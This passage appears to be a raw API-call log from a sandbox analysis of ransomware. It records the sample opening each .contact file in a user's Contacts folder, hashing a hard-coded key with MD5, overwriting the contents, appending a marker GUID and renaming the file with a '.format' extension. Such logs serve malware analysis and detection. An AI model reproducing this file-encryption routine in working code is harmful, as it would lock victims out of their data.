cAlternateFileName="ASDLFK~1.CON")) returned 1 [0066.949] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0066.949] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac4e0 [0066.949] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0066.949] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact") returned=".contact" [0066.949] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\asdlfk poopvy.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0066.949] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=1171) returned 1 [0066.949] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0066.952] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x46d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.952] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0066.953] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0066.953] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0066.953] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.953] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x493, lpOverlapped=0x0) returned 1 [0066.954] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0066.954] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0066.954] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0066.954] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0066.954] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac458) returned 1 [0066.954] CryptCreateHash (in: hProv=0x6ac458, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0066.954] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0066.954] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0066.954] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0066.955] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0066.955] GetLastError () returned 0x0 [0066.955] SetLastError (dwErrCode=0x0) [0066.955] GetLastError () returned 0x0 [0066.955] SetLastError (dwErrCode=0x0) [0066.955] GetLastError () returned 0x0 [0066.955] SetLastError (dwErrCode=0x0) [0066.955] GetLastError () returned 0x0 [0066.955] SetLastError (dwErrCode=0x0) [0066.955] GetLastError () returned 0x0 [0066.955] SetLastError (dwErrCode=0x0) [0066.955] GetLastError () returned 0x0 [0066.955] SetLastError (dwErrCode=0x0) [0066.955] GetLastError () returned 0x0 [0066.955] SetLastError (dwErrCode=0x0) [0066.955] GetLastError () returned 0x0 [0066.955] SetLastError (dwErrCode=0x0) [0066.955] GetLastError () returned 0x0 [0066.955] SetLastError (dwErrCode=0x0) [0066.955] GetLastError () returned 0x0 [0066.955] SetLastError (dwErrCode=0x0) [0066.955] GetLastError () returned 0x0 [0066.955] SetLastError (dwErrCode=0x0) [0066.955] GetLastError () returned 0x0 [0066.955] SetLastError (dwErrCode=0x0) [0066.955] GetLastError () returned 0x0 [0066.955] SetLastError (dwErrCode=0x0) [0066.955] GetLastError () returned 0x0 [0066.955] SetLastError (dwErrCode=0x0) [0066.956] GetLastError () returned 0x0 [0066.956] SetLastError (dwErrCode=0x0) [0066.956] GetLastError () returned 0x0 [0066.956] SetLastError (dwErrCode=0x0) [0066.956] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0066.956] GetLastError () returned 0x0 [0066.956] SetLastError (dwErrCode=0x0) [0066.956] GetLastError () returned 0x0 [0066.956] SetLastError (dwErrCode=0x0) [0066.956] GetLastError () returned 0x0 [0066.956] SetLastError (dwErrCode=0x0) [0066.956] GetLastError () returned 0x0 [0066.956] SetLastError (dwErrCode=0x0) [0066.956] GetLastError () returned 0x0 [0066.956] SetLastError (dwErrCode=0x0) [0066.956] GetLastError () returned 0x0 [0066.956] SetLastError (dwErrCode=0x0) [0066.956] GetLastError () returned 0x0 [0066.956] SetLastError (dwErrCode=0x0) [0066.956] GetLastError () returned 0x0 [0066.956] SetLastError (dwErrCode=0x0) [0066.956] GetLastError () returned 0x0 [0066.956] SetLastError (dwErrCode=0x0) [0066.956] GetLastError () returned 0x0 [0066.956] SetLastError (dwErrCode=0x0) [0066.956] GetLastError () returned 0x0 [0066.956] SetLastError (dwErrCode=0x0) [0066.956] GetLastError () returned 0x0 [0066.956] SetLastError (dwErrCode=0x0) [0066.957] GetLastError () returned 0x0 [0066.957] SetLastError (dwErrCode=0x0) [0066.957] GetLastError () returned 0x0 [0066.957] SetLastError (dwErrCode=0x0) [0066.957] GetLastError () returned 0x0 [0066.957] SetLastError (dwErrCode=0x0) [0066.957] GetLastError () returned 0x0 [0066.957] SetLastError (dwErrCode=0x0) [0066.957] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0066.957] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0066.957] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31596d0 | out: hHeap=0x5d0000) returned 1 [0066.957] CryptDestroyHash (hHash=0x31befa0) returned 1 [0066.957] CryptReleaseContext (hProv=0x6ac458, dwFlags=0x0) returned 1 [0066.957] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0066.957] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x490) returned 0x3289700 [0066.957] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0066.957] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0066.957] WriteFile (in: hFile=0x5c8, lpBuffer=0x3289700*, nNumberOfBytesToWrite=0x48e, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x3289700*, lpNumberOfBytesWritten=0x38cfb24*=0x48e, lpOverlapped=0x0) returned 1 [0066.957] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0066.957] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x493, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.957] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d5b0 [0066.957] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3178120 [0066.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3178120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0066.957] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x3289700 [0066.957] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178120 | out: hHeap=0x5d0000) returned 1 [0066.957] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d5b0 | out: hHeap=0x5d0000) returned 1 [0066.957] WriteFile (in: hFile=0x5c8, lpBuffer=0x3289700*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x3289700*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0066.958] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0066.958] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0066.958] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0066.958] CloseHandle (hObject=0x5c8) returned 1 [0066.958] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0066.958] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x890) returned 0x3178dd8 [0066.958] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0066.958] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\asdlfk poopvy.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\asdlfk poopvy.contact.format")) returned 1 [0066.959] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.959] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.960] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac4e0 | out: hHeap=0x5d0000) returned 1 [0066.960] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eacb1e0, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eacb1e0, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eacb1e0, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x499, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="chucu jadnvk.contact", cAlternateFileName="CHUCUJ~1.CON")) returned 1 [0066.960] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0066.960] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac4e0 [0066.960] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0066.960] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact") returned=".contact" [0066.960] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\chucu jadnvk.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0066.961] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=1177) returned 1 [0066.961] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0066.964] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x473, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.964] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0066.965] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0066.965] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0066.965] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.965] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x499, lpOverlapped=0x0) returned 1 [0066.965] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0066.965] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0066.965] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0066.965] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0066.965] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac458) returned 1 [0066.966] CryptCreateHash (in: hProv=0x6ac458, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0066.966] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0066.966] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0066.966] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0066.966] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0066.966] GetLastError () returned 0x0 [0066.966] SetLastError (dwErrCode=0x0) [0066.966] GetLastError () returned 0x0 [0066.966] SetLastError (dwErrCode=0x0) [0066.966] GetLastError () returned 0x0 [0066.966] SetLastError (dwErrCode=0x0) [0066.966] GetLastError () returned 0x0 [0066.966] SetLastError (dwErrCode=0x0) [0066.966] GetLastError () returned 0x0 [0066.966] SetLastError (dwErrCode=0x0) [0066.966] GetLastError () returned 0x0 [0066.966] SetLastError (dwErrCode=0x0) [0066.966] GetLastError () returned 0x0 [0066.967] SetLastError (dwErrCode=0x0) [0066.967] GetLastError () returned 0x0 [0066.967] SetLastError (dwErrCode=0x0) [0066.967] GetLastError () returned 0x0 [0066.967] SetLastError (dwErrCode=0x0) [0066.967] GetLastError () returned 0x0 [0066.967] SetLastError (dwErrCode=0x0) [0066.967] GetLastError () returned 0x0 [0066.967] SetLastError (dwErrCode=0x0) [0066.967] GetLastError () returned 0x0 [0066.967] SetLastError (dwErrCode=0x0) [0066.967] GetLastError () returned 0x0 [0066.967] SetLastError (dwErrCode=0x0) [0066.967] GetLastError () returned 0x0 [0066.967] SetLastError (dwErrCode=0x0) [0066.967] GetLastError () returned 0x0 [0066.967] SetLastError (dwErrCode=0x0) [0066.967] GetLastError () returned 0x0 [0066.967] SetLastError (dwErrCode=0x0) [0066.967] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0066.967] GetLastError () returned 0x0 [0066.967] SetLastError (dwErrCode=0x0) [0066.967] GetLastError () returned 0x0 [0066.967] SetLastError (dwErrCode=0x0) [0066.967] GetLastError () returned 0x0 [0066.967] SetLastError (dwErrCode=0x0) [0066.967] GetLastError () returned 0x0 [0066.967] SetLastError (dwErrCode=0x0) [0066.967] GetLastError () returned 0x0 [0066.968] SetLastError (dwErrCode=0x0) [0066.968] GetLastError () returned 0x0 [0066.968] SetLastError (dwErrCode=0x0) [0066.968] GetLastError () returned 0x0 [0066.968] SetLastError (dwErrCode=0x0) [0066.968] GetLastError () returned 0x0 [0066.968] SetLastError (dwErrCode=0x0) [0066.968] GetLastError () returned 0x0 [0066.968] SetLastError (dwErrCode=0x0) [0066.968] GetLastError () returned 0x0 [0066.968] SetLastError (dwErrCode=0x0) [0066.968] GetLastError () returned 0x0 [0066.968] SetLastError (dwErrCode=0x0) [0066.968] GetLastError () returned 0x0 [0066.968] SetLastError (dwErrCode=0x0) [0066.968] GetLastError () returned 0x0 [0066.968] SetLastError (dwErrCode=0x0) [0066.968] GetLastError () returned 0x0 [0066.968] SetLastError (dwErrCode=0x0) [0066.968] GetLastError () returned 0x0 [0066.968] SetLastError (dwErrCode=0x0) [0066.968] GetLastError () returned 0x0 [0066.968] SetLastError (dwErrCode=0x0) [0066.968] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0066.968] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0066.968] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31596d0 | out: hHeap=0x5d0000) returned 1 [0066.968] CryptDestroyHash (hHash=0x31befa0) returned 1 [0066.968] CryptReleaseContext (hProv=0x6ac458, dwFlags=0x0) returned 1 [0066.969] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0066.969] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x4a0) returned 0x3289700 [0066.969] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0066.969] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0066.969] WriteFile (in: hFile=0x5c8, lpBuffer=0x3289700*, nNumberOfBytesToWrite=0x494, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x3289700*, lpNumberOfBytesWritten=0x38cfb24*=0x494, lpOverlapped=0x0) returned 1 [0066.969] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0066.969] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x499, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.969] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d5b0 [0066.969] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3178120 [0066.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3178120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0066.969] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x3289700 [0066.969] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178120 | out: hHeap=0x5d0000) returned 1 [0066.969] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d5b0 | out: hHeap=0x5d0000) returned 1 [0066.969] WriteFile (in: hFile=0x5c8, lpBuffer=0x3289700*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x3289700*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0066.969] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0066.969] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0066.969] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0066.969] CloseHandle (hObject=0x5c8) returned 1 [0066.970] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0066.970] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x890) returned 0x3178dd8 [0066.970] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0066.970] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\chucu jadnvk.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\chucu jadnvk.contact.format")) returned 1 [0066.971] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.971] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.972] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac4e0 | out: hHeap=0x5d0000) returned 1 [0066.972] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0066.972] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0066.972] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x76) returned 0x3282148 [0066.972] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0066.972] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\desktop.ini") returned=".ini" [0066.972] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3282148 | out: hHeap=0x5d0000) returned 1 [0066.972] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x496, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="lulcit amkdfe.contact", cAlternateFileName="LULCIT~1.CON")) returned 1 [0066.972] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0066.972] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac4e0 [0066.972] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0066.972] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact") returned=".contact" [0066.972] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\lulcit amkdfe.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0066.973] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=1174) returned 1 [0066.973] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0066.975] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x470, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.975] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0066.977] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0066.977] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0066.977] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.977] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x496, lpOverlapped=0x0) returned 1 [0066.977] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0066.977] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0066.977] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0066.977] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0066.977] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac458) returned 1 [0066.978] CryptCreateHash (in: hProv=0x6ac458, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0066.978] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0066.978] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0066.978] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0066.978] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0066.978] GetLastError () returned 0x0 [0066.978] SetLastError (dwErrCode=0x0) [0066.978] GetLastError () returned 0x0 [0066.978] SetLastError (dwErrCode=0x0) [0066.978] GetLastError () returned 0x0 [0066.978] SetLastError (dwErrCode=0x0) [0066.978] GetLastError () returned 0x0 [0066.978] SetLastError (dwErrCode=0x0) [0066.978] GetLastError () returned 0x0 [0066.978] SetLastError 